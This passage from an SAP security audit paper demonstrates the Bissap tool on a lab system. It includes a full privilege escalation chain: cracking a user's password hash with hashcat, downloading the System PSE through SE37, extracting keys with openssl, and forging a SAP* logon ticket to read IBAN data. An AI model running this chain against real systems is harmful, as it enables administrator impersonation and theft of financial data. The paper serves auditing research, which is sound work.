A standard user, JOHN.TITOR, appears to be vulnerable to privilege escalation within the system. To obtain more details about this user and the procedure for exploiting this privilege escalation, we can audit this user specifically (Listing 15). Using Bissap, we have identified dangerous authorizations granted to a user who is not an administrator! Without this tool, we would have had to test all potentially dangerous programs manually and would probably have missed more complicated combinations, such as the ability to execute ARCHIVFILE_SERVER_TO_CLIENT through transaction SE37. A stroke of luck! Password cracking has just finished, and user JOHN.TITOR also had a weak password (Listing 16). We thus recover the password Hunter23. We can restart SAP GUI and enter JOHN.TITOR and their password. Once logged in, we can follow the methodology explained by Bissap. First, we execute transaction SE37 and specify the ARCHIVFILE_SERVER_TO_CLIENT function to download the System PSE. The two parameters needed to determine the path to this PSE can be obtained in several ways. Here, nmap-sap reported these details during the initial network scan. The SID comes from the output of one of the identification scripts: NPL. The instance number belongs to the Dialog instance, which is the same instance that hosts the DIAG interface. By default, this interface's port number is 32NN, where NN is the instance number. Since our interface is on port 3200, we deduce that the instance number A. Colléaux-Le Chêne 25

Listing 15: Detailed audit of JOHN.TITOR

```
# bissap -d NPL.sqlite -m 001 audit -u JOHN.TITOR
JOHN.TITOR is vulnerable to 1 RCE(s).
 # ARCHIVFILE_SERVER_TO_CLIENT
 > Go to SE37 (ABAP Function Modules)
 > Execute the fonction ARCHIVFILE_SERVER_TO_CLIENT, and check
   "Uppercase / Lowercase"
 > Download the PSE containing the keys used to sign Logon
   Tickets.
     - Example paths : /usr/sap/${SID}/D${NR}/sec/SAPSYS.pse
                       /usr/sap/${SID}/DVEBMGS${NR}/sec/SAPSYS.pse
 > Extract the private key and the certificate from the PSE
     - You may need a SAP lab to use sapgenpse.
     - $ sapgenpse export_p12 -p SAPSYS.pse SAPSYS.p12
     - $ openssl pkcs12 -nocerts -legacy -in SAPSYS.p12 -out
  →  private.key -nodes
     - $ openssl pkcs12 -clcerts -nokeys -legacy -in SAPSYS.p12
  → -out certificate.crt
 > Sign a fake Logon Ticket using forge_sap_logon_ticket.py
     - $ ./forge_sap_logon_ticket.py
             --system ${SID}
             --client ${MANDANT}
             --username 'SAP*'
             --cert certificate.crt --key private.key
 > Go to the system's Web GUI (path: /sap/bc/gui/sap/its/webgui)
 > Set the cookie MYSAPSSO2 with value the generated Logon Ticket
   and reload.
JOHN.TITOR cannot read any known sensitive tables.
JOHN.TITOR cannot execute any "juicy" transaction.
```

Listing 16: Recovering the password of user JOHN.TITOR

```
# hashcat --username hashes.txt rockyou.txt -m 10300 --show | grep
  →  JOHN.TITOR
JOHN.TITOR:{x-issha,
  →  1024}Y9QlAvbcBCM+WLE8+9idGFLkrCUZ139WElMWT//s8J4=:Hunter23
```


the instance number is 00. We can therefore download our PSE as shown in Figure 7. From this file, we can follow the commands described earlier to generate a valid ticket for the NPL system. During the procedure, we must specify the user we want to impersonate. In this demonstration, we can use SAP*, the default administrator user. In real-world cases, however, it is not uncommon for this user to be disabled in favor of individually named administrator accounts. In those cases, we can use Bissap to list the users of interest to us:

those with access to the IBAN table, TIBAN. We can use a command such as the one shown in Listing 17.

Listing 17: List of users able to read TIBAN

```
# bissap -d NPL.sqlite -m 001 users by-authorization --objct
→   S_TABU_NAM -f TABLE:TIBAN -f ACTVT:03
SAP*
DEVELOPER
DDIC
BWDEVELOPER
```

Since SAP* is enabled in our instance, we will use it. From the System PSE downloaded earlier, we can follow the methodology provided by Bissap and generate a Logon Ticket. The output of these commands is detailed in Listing 18.

Listing 18: Generating a Logon Ticket from the System PSE

```
# sapgenpse export_p12 -p SAPSYS.pse SAPSYS.p12
# openssl pkcs12 -nocerts -legacy -in SAPSYS.p12 -nodes -out
→  private.key
# openssl pkcs12 -clcerts -legacy -in SAPSYS.p12 -nokeys -out
→  certificate.crt
# ./forge_sap_logon_ticket.py --system NPL --client 001 --username
→  'SAP*' --cert certificate.crt --key private.key
AjQxMDMBAAhTAEEAUAAqAAIABjAAMAAxAAMABk4AUABMAAQAGDIAMAAyADYAMAAxAD
AANwAwADkAMAA5AAUABAAAABj/APswgfgGCSqGSIb3DQEHAqCB6jCB5wIBATELMAkG
BSsOAwIaBQAwCwYJKoZIhvcNAQcBMYHHMIHEAgEBMBowDjEMMAoGA1UEAxMDTlBMAg
gKIBcCGSAmATAJBgUrDgMCGgUAoF0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAc
BgkqhkiG9w0BCQUxDxcNMjYwMTA3MDkwOTE0WjAjBgkqhkiG9w0BCQQxFgQU1VvfYu
8vT8to3Wx71tmclbS4mBYwCQYHKoZIzjgEAwQuMCwCFGRF2HPDB4d9uBK4D%21UBLM
LZTTLRAhQCoSisMsxNx1WtmZ5OmCniTVO0rA%3D%3D
```


Fig. 7. Downloading the SAPSYS.pse file through the ARCHIVFILE_SERVER_TO_CLIENT function. 28 One Ticket to Rule Them All

We can use this ticket through the web version of SAP GUI identified at the beginning of the tests. Setting the MYSAPSSO2 cookie to the ticket's value automatically logs us in as SAP*. As SAP*, accessing the banking data is trivial. For example, we can execute transaction SE16 and specify the TIBAN table, as shown in Figure 8.

Fig. 8. Viewing the system's IBANs.

With Bissap, we identified users with dangerous permissions and inspected the relationships between users and their authorizations. By inspecting this user with dangerous permissions, we also obtained step-by-step instructions for escalating our

privileges by exploiting the permissions granted to that user. These steps showed us how to exploit the Logon Ticket mechanism to turn an arbitrary file read into privilege escalation in the default configuration. In rare cases, this privilege escalation can extend to other systems that have a trust relationship with the compromised system. A. Colléaux-Le Chêne 29

8 Conclusion These findings are the result of Synacktiv's internal SAP research. These tools help auditors make the process of auditing an SAP system more reliable and show that a modern methodology can be adopted for SAP's closed and complex environment. In particular, Bissap is suitable both for experienced auditors and for auditors who are less comfortable with SAP. Because Bissap runs from the command line and is based on a local copy of the database, its functionality can easily be extended to meet complex requirements that the tool does not anticipate. Less experienced auditors also benefit, because the audit process is described at every stage and “quick wins” are easy to identify. There is no need to know every possible exploitation method in order to find them, as was previously the case. By releasing these tools, Synacktiv hopes to enable the community to conduct more thorough SAP authorization audits and establish a proper knowledge base of known privilege escalation mechanisms. Although Bissap can be used in the field, there is still room for improvement. By definition, its knowledge base is not exhaustive, and work to expand it over the long term is ongoing. Furthermore, automated auditing focuses primarily on privilege escalation; more detailed auditing of the business aspects of SAP authorizations would also be worthwhile. Finally, although particularly flexible, the AutoHotKey collection processes are fragile and deserve further development.

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